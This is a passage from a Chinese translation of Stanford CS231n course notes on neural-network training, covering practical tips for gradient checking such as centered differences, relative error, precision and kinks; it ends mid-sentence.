่ฝฌ่ฝฝ่ฏทๆณจๆ˜Žๆœฌๆ–‡ๅ‡บๅค„ๅ’Œ[ๅŽŸ่ฏ‘ๆ–‡](https://zhuanlan.zhihu.com/p/21741716?refer=intelligentunit)ๅ‡บๅค„ใ€‚\n\n> **่ฏ‘่€…ๆณจ**๏ผšๆœฌๆ–‡[ๆ™บ่ƒฝๅ•ๅ…ƒ](https://zhuanlan.zhihu.com/intelligentunit)้ฆ–ๅ‘๏ผŒ่ฏ‘่‡ชๆ–ฏๅฆ็ฆCS231n่ฏพ็จ‹็ฌ”่ฎฐ[Learning and Evaluation](http://cs231n.github.io/neural-networks-3/)๏ผŒ่ฏพ็จ‹ๆ•™ๅธˆ[Andrej Karpathy](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/)ๆŽˆๆƒ็ฟป่ฏ‘ใ€‚ๆœฌ็ฏ‡ๆ•™็จ‹็”ฑ[ๆœๅฎข](https://www.zhihu.com/people/du-ke)็ฟป่ฏ‘ๅฎŒๆˆ๏ผŒ[ๅทฉๅญๅ˜‰](https://www.zhihu.com/people/gong-zi-jia-57)ๅ’Œ[ๅ ƒๅ ƒ](https://www.zhihu.com/people/kun-kun-97-81)่ฟ›่กŒๆ กๅฏนไฟฎๆ”นใ€‚่ฏ‘ๆ–‡ๅซๅ…ฌๅผๅ’Œไปฃ็ ๏ผŒๅปบ่ฎฎPC็ซฏ้˜…่ฏปใ€‚\n\n[TOC]\n\nๅ†…ๅฎนๅˆ—่กจ๏ผš\n\n- ๆขฏๅบฆๆฃ€ๆŸฅ\n- ๅˆ็†ๆ€ง๏ผˆSanity๏ผ‰ๆฃ€ๆŸฅ\n- ๆฃ€ๆŸฅๅญฆไน ่ฟ‡็จ‹\n - ๆŸๅคฑๅ‡ฝๆ•ฐ\n - ่ฎญ็ปƒ้›†ไธŽ้ชŒ่ฏ้›†ๅ‡†็กฎ็Ž‡\n - ๆƒ้‡๏ผšๆ›ดๆ–ฐๆฏ”ไพ‹\n - ๆฏๅฑ‚็š„ๆฟ€ๆดปๆ•ฐๆฎไธŽๆขฏๅบฆๅˆ†ๅธƒ\n - ๅฏ่ง†ๅŒ– \n\n\n- ๅ‚ๆ•ฐๆ›ดๆ–ฐ\n - ไธ€้˜ถ๏ผˆ้šๆœบๆขฏๅบฆไธ‹้™๏ผ‰ๆ–นๆณ•๏ผŒๅŠจ้‡ๆ–นๆณ•๏ผŒNesterovๅŠจ้‡ๆ–นๆณ•\n - ๅญฆไน ็Ž‡้€€็ซ\n - ไบŒ้˜ถๆ–นๆณ•\n - ้€ๅ‚ๆ•ฐ้€‚ๅบ”ๅญฆไน ็Ž‡ๆ–นๆณ•๏ผˆAdagrad๏ผŒRMSProp๏ผ‰\n- ่ถ…ๅ‚ๆ•ฐ่ฐƒไผ˜\n- ่ฏ„ไปท\n - ๆจกๅž‹้›†ๆˆ\n- ๆ€ป็ป“\n- ๆ‹“ๅฑ•ๅผ•็”จ\n\n\n\n\n\n# ๅญฆไน ่ฟ‡็จ‹\n\nๅœจๅ‰้ข็ซ ่Š‚ไธญ๏ผŒๆˆ‘ไปฌ่ฎจ่ฎบไบ†็ฅž็ป็ฝ‘็ปœ็š„้™ๆ€้ƒจๅˆ†๏ผšๅฆ‚ไฝ•ๅˆ›ๅปบ็ฝ‘็ปœ็š„่ฟžๆŽฅใ€ๆ•ฐๆฎๅ’ŒๆŸๅคฑๅ‡ฝๆ•ฐใ€‚ๆœฌ่Š‚ๅฐ†่‡ดๅŠ›ไบŽ่ฎฒ่งฃ็ฅž็ป็ฝ‘็ปœ็š„ๅŠจๆ€้ƒจๅˆ†๏ผŒๅณ็ฅž็ป็ฝ‘็ปœๅญฆไน ๅ‚ๆ•ฐๅ’Œๆœ็ดขๆœ€ไผ˜่ถ…ๅ‚ๆ•ฐ็š„่ฟ‡็จ‹ใ€‚\n\n\n\n## ๆขฏๅบฆๆฃ€ๆŸฅ\n\n็†่ฎบไธŠๅฐ†่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅๅพˆ็ฎ€ๅ•๏ผŒๅฐฑๆ˜ฏ็ฎ€ๅ•ๅœฐๆŠŠ่งฃๆžๆขฏๅบฆๅ’Œๆ•ฐๅ€ผ่ฎก็ฎ—ๆขฏๅบฆ่ฟ›่กŒๆฏ”่พƒใ€‚็„ถ่€ŒไปŽๅฎž้™…ๆ“ไฝœๅฑ‚้ขไธŠๆฅ่ฏด๏ผŒ่ฟ™ไธช่ฟ‡็จ‹ๆ›ดๅŠ ๅคๆ‚ไธ”ๅฎนๆ˜“ๅ‡บ้”™ใ€‚ไธ‹้ขๆ˜ฏไธ€ไบ›ๆ็คบใ€ๆŠ€ๅทงๅ’Œ้œ€่ฆไป”็ป†ๆณจๆ„็š„ไบ‹ๆƒ…๏ผš\n\n\n\n**ไฝฟ็”จไธญๅฟƒๅŒ–ๅ…ฌๅผใ€‚**ๅœจไฝฟ็”จๆœ‰้™ๅทฎๅ€ผ่ฟ‘ไผผๆฅ่ฎก็ฎ—ๆ•ฐๅ€ผๆขฏๅบฆ็š„ๆ—ถๅ€™๏ผŒๅธธ่ง็š„ๅ…ฌๅผๆ˜ฏ๏ผš\n\n![](https://i.loli.net/2018/03/06/5a9eb0647fec6.png)\n\nๅ…ถไธญ$h$ๆ˜ฏไธ€ไธชๅพˆๅฐ็š„ๆ•ฐๅญ—๏ผŒๅœจๅฎž่ทตไธญ่ฟ‘ไผผไธบ1e-5ใ€‚ๅœจๅฎž่ทตไธญ่ฏๆ˜Ž๏ผŒไฝฟ็”จ*ไธญๅฟƒๅŒ–*ๅ…ฌๅผๆ•ˆๆžœๆ›ดๅฅฝ๏ผš\n\n![](https://i.loli.net/2018/03/06/5a9eb0702dd49.png)\n\n่ฏฅๅ…ฌๅผๅœจๆฃ€ๆŸฅๆขฏๅบฆ็š„ๆฏไธช็ปดๅบฆ็š„ๆ—ถๅ€™๏ผŒไผš่ฆๆฑ‚่ฎก็ฎ—ไธคๆฌกๆŸๅคฑๅ‡ฝๆ•ฐ๏ผˆๆ‰€ไปฅ่ฎก็ฎ—่ต„ๆบ็š„่€—่ดนไนŸๆ˜ฏไธคๅ€๏ผ‰๏ผŒไฝ†ๆ˜ฏๆขฏๅบฆ็š„่ฟ‘ไผผๅ€ผไผšๅ‡†็กฎๅพˆๅคšใ€‚่ฆ็†่งฃ่ฟ™ไธ€็‚น๏ผŒๅฏน$f(x+h)$ๅ’Œ$f(x-h)$ไฝฟ็”จๆณฐๅ‹’ๅฑ•ๅผ€๏ผŒๅฏไปฅ็œ‹ๅˆฐ็ฌฌไธ€ไธชๅ…ฌๅผ็š„่ฏฏๅทฎ่ฟ‘ไผผ$O(h)$๏ผŒ็ฌฌไบŒไธชๅ…ฌๅผ็š„่ฏฏๅทฎ่ฟ‘ไผผ$O(h^2)$๏ผˆๆ˜ฏไธชไบŒ้˜ถ่ฟ‘ไผผ๏ผ‰ใ€‚**\\*๏ผˆ่ฏ‘่€…ๆณจ๏ผšๆณฐๅ‹’ๅฑ•ๅผ€็›ธๅ…ณๅ†…ๅฎนๅฏ้˜…่ฏปใ€Š้ซ˜็ญ‰ๆ•ฐๅญฆใ€‹็ฌฌๅไบŒ็ซ ็ฌฌๅ››่Š‚๏ผšๅ‡ฝๆ•ฐๅฑ•ๅผ€ๆˆๅน‚็บงๆ•ฐใ€‚๏ผ‰***\n\n\n\n**ไฝฟ็”จ็›ธๅฏน่ฏฏๅทฎๆฅๆฏ”่พƒ**ใ€‚ๆฏ”่พƒๆ•ฐๅ€ผๆขฏๅบฆ$f'_n$ๅ’Œ่งฃๆžๆขฏๅบฆ$f'_a$็š„็ป†่Š‚ๆœ‰ๅ“ชไบ›๏ผŸๅฆ‚ไฝ•ๅพ—็Ÿฅๆญคไธค่€…ไธๅŒน้…๏ผŸไฝ ๅฏ่ƒฝไผšๅ€พๅ‘ไบŽ็›‘ๆต‹ๅฎƒไปฌ็š„ๅทฎ็š„็ปๅฏนๅ€ผ$|f'_a-f'_n|$ๆˆ–่€…ๅทฎ็š„ๅนณๆ–นๅ€ผ๏ผŒ็„ถๅŽๅฎšไน‰่ฏฅๅ€ผๅฆ‚ๆžœ่ถ…่ฟ‡ๆŸไธช่ง„ๅฎš้˜ˆๅ€ผ๏ผŒๅฐฑๅˆคๆ–ญๆขฏๅบฆๅฎž็Žฐๅคฑ่ดฅใ€‚็„ถ่€Œ่ฏฅๆ€่ทฏๆ˜ฏๆœ‰้—ฎ้ข˜็š„ใ€‚ๆƒณๆƒณ๏ผŒๅ‡่ฎพ่ฟ™ไธชๅทฎๅ€ผๆ˜ฏ1e-4๏ผŒๅฆ‚ๆžœไธคไธชๆขฏๅบฆๅ€ผๅœจ1.0ๅทฆๅณ๏ผŒ่ฟ™ไธชๅทฎๅ€ผ็œ‹่ตทๆฅๅฐฑๅพˆๅˆ้€‚๏ผŒๅฏไปฅ่ฎคไธบไธคไธชๆขฏๅบฆๆ˜ฏๅŒน้…็š„ใ€‚็„ถ่€Œๅฆ‚ๆžœๆขฏๅบฆๅ€ผๆ˜ฏ1e-5ๆˆ–่€…ๆ›ดไฝŽ๏ผŒ้‚ฃไนˆ1e-4ๅฐฑๆ˜ฏ้žๅธธๅคง็š„ๅทฎ่ท๏ผŒๆขฏๅบฆๅฎž็Žฐ่‚ฏๅฎšๅฐฑๆ˜ฏๅคฑ่ดฅ็š„ไบ†ใ€‚ๅ› ๆญค๏ผŒไฝฟ็”จ*็›ธๅฏน่ฏฏๅทฎ*ๆ€ปๆ˜ฏๆ›ดๅˆ้€‚ไธ€ไบ›๏ผš\n\n![](https://i.loli.net/2018/03/06/5a9eb07eaf56c.png)\n\nไธŠๅผ่€ƒ่™‘ไบ†ๅทฎๅ€ผๅ ไธคไธชๆขฏๅบฆ็ปๅฏนๅ€ผ็š„ๆฏ”ไพ‹ใ€‚ๆณจๆ„้€šๅธธ็›ธๅฏน่ฏฏๅทฎๅ…ฌๅผๅชๅŒ…ๅซไธคไธชๅผๅญไธญ็š„ไธ€ไธช๏ผˆไปปๆ„ไธ€ไธชๅ‡ๅฏ๏ผ‰๏ผŒไฝ†ๆ˜ฏๆˆ‘ๆ›ดๅ€พๅ‘ๅ–ไธคไธชๅผๅญ็š„ๆœ€ๅคงๅ€ผๆˆ–่€…ๅ–ไธคไธชๅผๅญ็š„ๅ’Œใ€‚่ฟ™ๆ ทๅšๆ˜ฏไธบไบ†้˜ฒๆญขๅœจๅ…ถไธญไธ€ไธชๅผๅญไธบ0ๆ—ถ๏ผŒๅ…ฌๅผๅˆ†ๆฏไธบ0๏ผˆ่ฟ™็งๆƒ…ๅ†ต๏ผŒๅœจReLUไธญๆ˜ฏ็ปๅธธๅ‘็”Ÿ็š„๏ผ‰ใ€‚็„ถ่€Œ๏ผŒ่ฟ˜ๅฟ…้กปๆณจๆ„ไธคไธชๅผๅญ้ƒฝไธบ้›ถไธ”้€š่ฟ‡ๆขฏๅบฆๆฃ€ๆŸฅ็š„ๆƒ…ๅ†ตใ€‚ๅœจๅฎž่ทตไธญ๏ผš\n\n- ็›ธๅฏน่ฏฏๅทฎ>1e-2๏ผš้€šๅธธๅฐฑๆ„ๅ‘ณ็€ๆขฏๅบฆๅฏ่ƒฝๅ‡บ้”™ใ€‚\n- 1e-2>็›ธๅฏน่ฏฏๅทฎ>1e-4๏ผš่ฆๅฏน่ฟ™ไธชๅ€ผๆ„Ÿๅˆฐไธ่ˆ’ๆœๆ‰่กŒใ€‚\n- 1e-4>็›ธๅฏน่ฏฏๅทฎ๏ผš่ฟ™ไธชๅ€ผ็š„็›ธๅฏน่ฏฏๅทฎๅฏนไบŽๆœ‰ไธๅฏๅฏผ็‚น็š„็›ฎๆ ‡ๅ‡ฝๆ•ฐๆ˜ฏOK็š„ใ€‚ไฝ†ๅฆ‚ๆžœ็›ฎๆ ‡ๅ‡ฝๆ•ฐไธญๆฒกๆœ‰kink๏ผˆไฝฟ็”จtanhๅ’Œsoftmax๏ผ‰๏ผŒ้‚ฃไนˆ็›ธๅฏน่ฏฏๅทฎๅ€ผ่ฟ˜ๆ˜ฏๅคช้ซ˜ใ€‚\n- 1e-7ๆˆ–่€…ๆ›ดๅฐ๏ผšๅฅฝ็ป“ๆžœ๏ผŒๅฏไปฅ้ซ˜ๅ…ดไธ€ๆŠŠไบ†ใ€‚\n\n่ฆ็Ÿฅ้“็š„ๆ˜ฏ็ฝ‘็ปœ็š„ๆทฑๅบฆ่ถŠๆทฑ๏ผŒ็›ธๅฏน่ฏฏๅทฎๅฐฑ่ถŠ้ซ˜ใ€‚ๆ‰€ไปฅๅฆ‚ๆžœไฝ ๆ˜ฏๅœจๅฏนไธ€ไธช10ๅฑ‚็ฝ‘็ปœ็š„่พ“ๅ…ฅๆ•ฐๆฎๅšๆขฏๅบฆๆฃ€ๆŸฅ๏ผŒ้‚ฃไนˆ1e-2็š„็›ธๅฏน่ฏฏๅทฎๅ€ผๅฏ่ƒฝๅฐฑOKไบ†๏ผŒๅ› ไธบ่ฏฏๅทฎไธ€็›ดๅœจ็ดฏ็งฏใ€‚็›ธๅ๏ผŒๅฆ‚ๆžœไธ€ไธชๅฏๅพฎๅ‡ฝๆ•ฐ็š„็›ธๅฏน่ฏฏๅทฎๅ€ผๆ˜ฏ1e-2๏ผŒ้‚ฃไนˆ้€šๅธธ่ฏดๆ˜Žๆขฏๅบฆๅฎž็Žฐไธๆญฃ็กฎใ€‚\n\n\n\n**ไฝฟ็”จๅŒ็ฒพๅบฆใ€‚**ไธ€ไธชๅธธ่ง็š„้”™่ฏฏๆ˜ฏไฝฟ็”จๅ•็ฒพๅบฆๆตฎ็‚นๆ•ฐๆฅ่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅใ€‚่ฟ™ๆ ทไผšๅฏผ่‡ดๅณไฝฟๆขฏๅบฆๅฎž็Žฐๆญฃ็กฎ๏ผŒ็›ธๅฏน่ฏฏๅทฎๅ€ผไนŸไผšๅพˆ้ซ˜๏ผˆๆฏ”ๅฆ‚1e-2๏ผ‰ใ€‚ๅœจๆˆ‘็š„็ป้ชŒ่€Œ่จ€๏ผŒๅ‡บ็Žฐ่ฟ‡ไฝฟ็”จๅ•็ฒพๅบฆๆตฎ็‚นๆ•ฐๆ—ถ็›ธๅฏน่ฏฏๅทฎไธบ1e-2๏ผŒๆขๆˆๅŒ็ฒพๅบฆๆตฎ็‚นๆ•ฐๆ—ถๅฐฑ้™ไฝŽไธบ1e-8็š„ๆƒ…ๅ†ตใ€‚\n\n\n\n**ไฟๆŒๅœจๆตฎ็‚นๆ•ฐ็š„ๆœ‰ๆ•ˆ่Œƒๅ›ดใ€‚**ๅปบ่ฎฎ้€š่ฏปใ€Š[What Every Computer Scientist Should Konw About Floating-Point Artthmetic](http://link.zhihu.com/?target=http%3A//docs.oracle.com/cd/E19957-01/806-3568/ncg_goldberg.html)ใ€‹ไธ€ๆ–‡๏ผŒ่ฏฅๆ–‡ๅฐ†้˜ๆ˜Žไฝ ๅฏ่ƒฝ็Šฏ็š„้”™่ฏฏ๏ผŒไฟƒไฝฟไฝ ๅ†™ไธ‹ๆ›ดๅŠ ็ป†ๅฟƒ็š„ไปฃ็ ใ€‚ไพ‹ๅฆ‚๏ผŒๅœจ็ฅž็ป็ฝ‘็ปœไธญ๏ผŒๅœจไธ€ไธชๆ‰น้‡็š„ๆ•ฐๆฎไธŠๅฏนๆŸๅคฑๅ‡ฝๆ•ฐ่ฟ›่กŒๅฝ’ไธ€ๅŒ–ๆ˜ฏๅพˆๅธธ่ง็š„ใ€‚ไฝ†ๆ˜ฏ๏ผŒๅฆ‚ๆžœๆฏไธชๆ•ฐๆฎ็‚น็š„ๆขฏๅบฆๅพˆๅฐ๏ผŒ็„ถๅŽๅˆ็”จๆ•ฐๆฎ็‚น็š„ๆ•ฐ้‡ๅŽป้™ค๏ผŒๅฐฑไฝฟๅพ—ๆ•ฐๅ€ผๆ›ดๅฐ๏ผŒ่ฟ™ๅ่ฟ‡ๆฅไผšๅฏผ่‡ดๆ›ดๅคš็š„ๆ•ฐๅ€ผ้—ฎ้ข˜ใ€‚่ฟ™ๅฐฑๆ˜ฏๆˆ‘ไธบไป€ไนˆๆ€ปๆ˜ฏไผšๆŠŠๅŽŸๅง‹็š„่งฃๆžๆขฏๅบฆๅ’Œๆ•ฐๅ€ผๆขฏๅบฆๆ•ฐๆฎๆ‰“ๅฐๅ‡บๆฅ๏ผŒ็กฎไฟ็”จๆฅๆฏ”่พƒ็š„ๆ•ฐๅญ—็š„ๅ€ผไธๆ˜ฏ่ฟ‡ๅฐ๏ผˆ้€šๅธธ็ปๅฏนๅ€ผๅฐไบŽ1e-10ๅฐฑ็ปๅฏน่ฎฉไบบๆ‹…ๅฟƒ๏ผ‰ใ€‚ๅฆ‚ๆžœ็กฎๅฎž่ฟ‡ๅฐ๏ผŒๅฏไปฅไฝฟ็”จไธ€ไธชๅธธๆ•ฐๆš‚ๆ—ถๅฐ†ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆ•ฐๅ€ผ่Œƒๅ›ดๆ‰ฉๅฑ•ๅˆฐไธ€ไธชๆ›ดโ€œๅฅฝโ€็š„่Œƒๅ›ด๏ผŒๅœจ่ฟ™ไธช่Œƒๅ›ดไธญๆตฎ็‚นๆ•ฐๅ˜ๅพ—ๆ›ดๅŠ ่‡ดๅฏ†ใ€‚ๆฏ”่พƒ็†ๆƒณ็š„ๆ˜ฏ1.0็š„ๆ•ฐ้‡็บงไธŠ๏ผŒๅณๅฝ“ๆตฎ็‚นๆ•ฐๆŒ‡ๆ•ฐไธบ0ๆ—ถใ€‚\n\n\n\n**็›ฎๆ ‡ๅ‡ฝๆ•ฐ็š„ไธๅฏๅฏผ็‚น๏ผˆkinks๏ผ‰**ใ€‚ๅœจ่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅๆ—ถ๏ผŒไธ€ไธชๅฏผ่‡ดไธๅ‡†็กฎ็š„ๅŽŸๅ› ๆ˜ฏไธๅฏๅฏผ็‚น้—ฎ้ข˜ใ€‚ไธๅฏๅฏผ็‚นๆ˜ฏๆŒ‡็›ฎๆ ‡ๅ‡ฝๆ•ฐไธๅฏๅฏผ็š„้ƒจๅˆ†๏ผŒ็”ฑReLU๏ผˆ$max(0,x)$๏ผ‰็ญ‰ๅ‡ฝๆ•ฐ๏ผŒๆˆ–SVMๆŸๅคฑ๏ผŒMaxout็ฅž็ปๅ…ƒ็ญ‰ๅผ•ๅ…ฅใ€‚่€ƒ่™‘ๅฝ“$x=-1e6$็š„ๆ—ถ๏ผŒๅฏนReLUๅ‡ฝๆ•ฐ่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅใ€‚ๅ› ไธบ$x<0$๏ผŒๆ‰€ไปฅ่งฃๆžๆขฏๅบฆๅœจ่ฏฅ็‚น็š„ๆขฏๅบฆไธบ0ใ€‚็„ถ่€Œ๏ผŒๅœจ่ฟ™้‡Œๆ•ฐๅ€ผๆขฏๅบฆไผš็ช็„ถ่ฎก็ฎ—ๅ‡บไธ€ไธช้ž้›ถ็š„ๆขฏๅบฆๅ€ผ๏ผŒๅ› ไธบ$f(x+h)$ๅฏ่ƒฝ่ถŠ่ฟ‡ไบ†ไธๅฏๅฏผ็‚น(ไพ‹ๅฆ‚๏ผšๅฆ‚ๆžœ$h>1e-6$)๏ผŒๅฏผ่‡ดไบ†ไธ€ไธช้ž้›ถ็š„็ป“ๆžœใ€‚ไฝ ๅฏ่ƒฝไผš่ฎคไธบ่ฟ™ๆ˜ฏไธ€ไธชๆž็ซฏ็š„ๆกˆไพ‹๏ผŒไฝ†ๅฎž้™…ไธŠ่ฟ™็งๆƒ…ๅ†ตๅพˆๅธธ่งใ€‚ไพ‹ๅฆ‚๏ผŒไธ€ไธช็”จCIFAR-10่ฎญ็ปƒ็š„SVMไธญ๏ผŒๅ› ไธบๆœ‰50,000ไธชๆ ทๆœฌ๏ผŒไธ”ๆ นๆฎ็›ฎๆ ‡ๅ‡ฝๆ•ฐๆฏไธชๆ ทๆœฌไบง็”Ÿ9ไธชๅผๅญ๏ผŒๆ‰€ไปฅๅŒ…ๅซๆœ‰450,000ไธช$max(0,x)$ๅผๅญใ€‚่€Œไธ€ไธช็”จSVM่ฟ›่กŒๅˆ†็ฑป็š„็ฅž็ป็ฝ‘็ปœๅ› ไธบ้‡‡็”จไบ†ReLU๏ผŒ่ฟ˜ไผšๆœ‰ๆ›ดๅคš็š„ไธๅฏๅฏผ็‚นใ€‚\n\n\n\nๆณจๆ„๏ผŒๅœจ่ฎก็ฎ—ๆŸๅคฑ็š„่ฟ‡็จ‹ไธญๆ˜ฏๅฏไปฅ็Ÿฅ้“ไธๅฏๅฏผ็‚นๆœ‰ๆฒกๆœ‰่ขซ่ถŠ่ฟ‡็š„ใ€‚ๅœจๅ…ทๆœ‰$max(x,y)$ๅฝขๅผ็š„ๅ‡ฝๆ•ฐไธญๆŒ็ปญ่ทŸ่ธชๆ‰€ๆœ‰โ€œ่ตขๅฎถโ€็š„่บซไปฝ๏ผŒๅฐฑๅฏไปฅๅฎž็Žฐ่ฟ™ไธ€็‚นใ€‚ๅ…ถๅฎžๅฐฑๆ˜ฏ็œ‹ๅœจๅ‰ๅ‘ไผ ๆ’ญๆ—ถ๏ผŒๅˆฐๅบ•xๅ’Œy่ฐๆ›ดๅคงใ€‚ๅฆ‚ๆžœๅœจ่ฎก็ฎ—$f(x+h)$ๅ’Œ$f(x-h)$็š„ๆ—ถๅ€™๏ผŒ่‡ณๅฐ‘ๆœ‰ไธ€ไธชโ€œ่ตขๅฎถโ€็š„่บซไปฝๅ˜ไบ†๏ผŒ้‚ฃๅฐฑ่ฏดๆ˜Žไธๅฏๅฏผ็‚น่ขซ่ถŠ่ฟ‡ไบ†๏ผŒๆ•ฐๅ€ผๆขฏๅบฆไผšไธๅ‡†็กฎใ€‚\n\n\n\n**ไฝฟ็”จๅฐ‘้‡ๆ•ฐๆฎ็‚นใ€‚**่งฃๅ†ณไธŠ้ข็š„ไธๅฏๅฏผ็‚น้—ฎ้ข˜็š„ไธ€ไธชๅŠžๆณ•ๆ˜ฏไฝฟ็”จๆ›ดๅฐ‘็š„ๆ•ฐๆฎ็‚นใ€‚ๅ› ไธบๅซๆœ‰ไธๅฏๅฏผ็‚น็š„ๆŸๅคฑๅ‡ฝๆ•ฐ(ไพ‹ๅฆ‚๏ผšๅ› ไธบไฝฟ็”จไบ†ReLUๆˆ–่€…่พน็ผ˜ๆŸๅคฑ็ญ‰ๅ‡ฝๆ•ฐ)็š„ๆ•ฐๆฎ็‚น่ถŠๅฐ‘๏ผŒไธๅฏๅฏผ็‚นๅฐฑ่ถŠๅฐ‘๏ผŒๆ‰€ไปฅๅœจ่ฎก็ฎ—ๆœ‰้™ๅทฎๅ€ผ่ฟ‘ไผผๆ—ถ่ถŠ่ฟ‡ไธๅฏๅฏผ็‚น็š„ๅ‡ ็Ž‡ๅฐฑ่ถŠๅฐใ€‚่ฟ˜ๆœ‰๏ผŒๅฆ‚ๆžœไฝ ็š„ๆขฏๅบฆๆฃ€ๆŸฅๅฏน2-3ไธชๆ•ฐๆฎ็‚น้ƒฝๆœ‰ๆ•ˆ๏ผŒ้‚ฃไนˆๅŸบๆœฌไธŠๅฏนๆ•ดไธชๆ‰น้‡ๆ•ฐๆฎ่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅไนŸๆ˜ฏๆฒก้—ฎ้ข˜็š„ใ€‚ๆ‰€ไปฅไฝฟ็”จๅพˆๅฐ‘้‡็š„ๆ•ฐๆฎ็‚น๏ผŒ่ƒฝ่ฎฉๆขฏๅบฆๆฃ€ๆŸฅๆ›ด่ฟ…้€Ÿ้ซ˜ๆ•ˆใ€‚\n\n\n\n**่ฐจๆ…Ž่ฎพ็ฝฎๆญฅ้•ฟhใ€‚**ๅœจๅฎž่ทตไธญhๅนถไธๆ˜ฏ่ถŠๅฐ่ถŠๅฅฝ๏ผŒๅ› ไธบๅฝ“$h$็‰นๅˆซๅฐ็š„ๆ—ถๅ€™๏ผŒๅฐฑๅฏ่ƒฝๅฐฑไผš้‡ๅˆฐๆ•ฐๅ€ผ็ฒพๅบฆ้—ฎ้ข˜ใ€‚ๆœ‰ๆ—ถๅ€™ๅฆ‚ๆžœๆขฏๅบฆๆฃ€ๆŸฅๆ— ๆณ•่ฟ›่กŒ๏ผŒๅฏไปฅ่ฏ•่ฏ•ๅฐ†$h$่ฐƒๅˆฐ1e-4ๆˆ–่€…1e-6๏ผŒ็„ถๅŽ็ช็„ถๆขฏๅบฆๆฃ€ๆŸฅๅฏ่ƒฝๅฐฑๆขๅคๆญฃๅธธใ€‚่ฟ™็ฏ‡[็ปดๅŸบ็™พ็ง‘ๆ–‡็ซ ](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Numerical_differentiation)ไธญๆœ‰ไธ€ไธชๅ›พ่กจ๏ผŒๅ…ถx่ฝดไธบ$h$ๅ€ผ๏ผŒy่ฝดไธบๆ•ฐๅ€ผๆขฏๅบฆ่ฏฏๅทฎใ€‚\n\n\n\n**ๅœจๆ“ไฝœ็š„็‰นๆ€งๆจกๅผไธญๆขฏๅบฆๆฃ€ๆŸฅใ€‚**ๆœ‰ไธ€็‚นๅฟ…้กป่ฆ่ฎค่ฏ†ๅˆฐ๏ผšๆขฏๅบฆๆฃ€ๆŸฅๆ˜ฏๅœจๅ‚ๆ•ฐ็ฉบ้—ดไธญ็š„ไธ€ไธช็‰นๅฎš๏ผˆๅพ€ๅพ€่ฟ˜ๆ˜ฏ้šๆœบ็š„๏ผ‰็š„ๅ•็‹ฌ็‚น่ฟ›่กŒ็š„ใ€‚ๅณไฝฟๆ˜ฏๅœจ่ฏฅ็‚นไธŠๆขฏๅบฆๆฃ€ๆŸฅๆˆๅŠŸไบ†๏ผŒไนŸไธ่ƒฝ้ฉฌไธŠ็กฎไฟๅ…จๅฑ€ไธŠๆขฏๅบฆ็š„ๅฎž็Žฐ้ƒฝๆ˜ฏๆญฃ็กฎ็š„ใ€‚่ฟ˜ๆœ‰๏ผŒไธ€ไธช้šๆœบ็š„ๅˆๅง‹ๅŒ–ๅฏ่ƒฝไธๆ˜ฏๅ‚ๆ•ฐ็ฉบ้—ดๆœ€ไผ˜ไปฃ่กจๆ€ง็š„็‚น๏ผŒ่ฟ™ๅฏ่ƒฝๅฏผ่‡ด่ฟ›ๅ…ฅๆŸ็ง็—…ๆ€็š„ๆƒ…ๅ†ต๏ผŒๅณๆขฏๅบฆ็œ‹่ตทๆฅๆ˜ฏๆญฃ็กฎๅฎž็Žฐไบ†๏ผŒๅฎž้™…ไธŠๅนถๆฒกๆœ‰ใ€‚ไพ‹ๅฆ‚๏ผŒSVMไฝฟ็”จๅฐๆ•ฐๅ€ผๆƒ้‡ๅˆๅง‹ๅŒ–๏ผŒๅฐฑไผšๆŠŠไธ€ไบ›ๆŽฅ่ฟ‘ไบŽ0็š„ๅพ—ๅˆ†ๅˆ†้…็ป™ๆ‰€ๆœ‰็š„ๆ•ฐๆฎ็‚น๏ผŒ่€Œๆขฏๅบฆๅฐ†ไผšๅœจๆ‰€ๆœ‰็š„ๆ•ฐๆฎ็‚นไธŠๅฑ•็Žฐๅ‡บๆŸ็งๆจกๅผใ€‚ไธ€ไธชไธๆญฃ็กฎๅฎž็Žฐ็š„ๆขฏๅบฆไนŸ่ฎธไพ็„ถ่ƒฝๅคŸไบง็”Ÿๅ‡บ่ฟ™็งๆจกๅผ๏ผŒไฝ†ๆ˜ฏไธ่ƒฝๆณ›ๅŒ–ๅˆฐๆ›ดๅ…ทไปฃ่กจๆ€ง็š„ๆ“ไฝœๆจกๅผ๏ผŒๆฏ”ๅฆ‚ๅœจไธ€ไบ›็š„ๅพ—ๅˆ†ๆฏ”ๅฆไธ€ไบ›ๅพ—ๅˆ†ๆ›ดๅคง็š„ๆƒ…ๅ†ตไธ‹ๅฐฑไธ่กŒใ€‚ๅ› ๆญคไธบไบ†ๅฎ‰ๅ…จ่ตท่ง๏ผŒๆœ€ๅฅฝ่ฎฉ็ฝ‘็ปœๅญฆไน ๏ผˆโ€œ้ข„็ƒญโ€๏ผ‰ไธ€ๅฐๆฎตๆ—ถ้—ด๏ผŒ็ญ‰ๅˆฐๆŸๅคฑๅ‡ฝๆ•ฐๅผ€ๅง‹ไธ‹้™็š„ไน‹ๅŽๅ†่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅใ€‚ๅœจ็ฌฌไธ€ๆฌก่ฟญไปฃๅฐฑ่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅ็š„ๅฑ้™ฉๅฐฑๅœจไบŽ๏ผŒๆญคๆ—ถๅฏ่ƒฝๆญฃๅค„ๅœจไธๆญฃๅธธ็š„่พน็•Œๆƒ…ๅ†ต๏ผŒไปŽ่€ŒๆŽฉ็›–ไบ†ๆขฏๅบฆๆฒกๆœ‰ๆญฃ็กฎๅฎž็Žฐ็š„ไบ‹ๅฎžใ€‚\n\n\n\n**ไธ่ฆ่ฎฉๆญฃๅˆ™ๅŒ–ๅžๆฒกๆ•ฐๆฎใ€‚**้€šๅธธๆŸๅคฑๅ‡ฝๆ•ฐๆ˜ฏๆ•ฐๆฎๆŸๅคฑๅ’Œๆญฃๅˆ™ๅŒ–ๆŸๅคฑ็š„ๅ’Œ๏ผˆไพ‹ๅฆ‚L2ๅฏนๆƒ้‡็š„ๆƒฉ็ฝš๏ผ‰ใ€‚้œ€่ฆๆณจๆ„็š„ๅฑ้™ฉๆ˜ฏๆญฃๅˆ™ๅŒ–ๆŸๅคฑๅฏ่ƒฝๅžๆฒกๆŽ‰ๆ•ฐ